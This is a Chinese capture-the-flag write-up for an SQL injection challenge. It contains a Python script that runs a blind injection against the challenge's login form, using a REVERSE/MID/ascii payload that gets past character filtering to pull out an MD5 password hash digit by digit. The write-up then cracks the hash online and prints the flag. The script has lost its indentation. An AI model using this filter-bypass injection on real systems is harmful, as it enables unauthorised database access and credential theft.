sql注入2
题目：
http://123.206.87.240:8007/web2/
全都tm过滤了绝望吗？
提示 !,!=,=,+,-,^,%
解题：
注入题，解题脚本
import requests as rq
flag = ""
url = 'http://123.206.87.240:8007/web2/login.php'
cookie = {
'PHPSESSID': '6mjlen0aogfncavdcn79pe1t1lt1mbjo'
}
for i in range(1, 33):
for j in '0123456789abcdef':
username = "admin'-(ascii(mid(REVERSE(MID((passwd)from(-" + str(i) + ")))from(-1)))=" + str(ord(j)) + ")-'"
data = {'uname': username, 'passwd': 'hu3sky'}
r = rq.post(url=url, data=data, cookies=cookie)
if "username error!!@_@" in r.text:
flag = flag + j
print(flag)解出密码后，上www.somd5.com去解码MD5，得到密码为admin123。
登录后，随便输入什么，点击执行得到flag
flag{sql_iNJEct_comMon3600!}
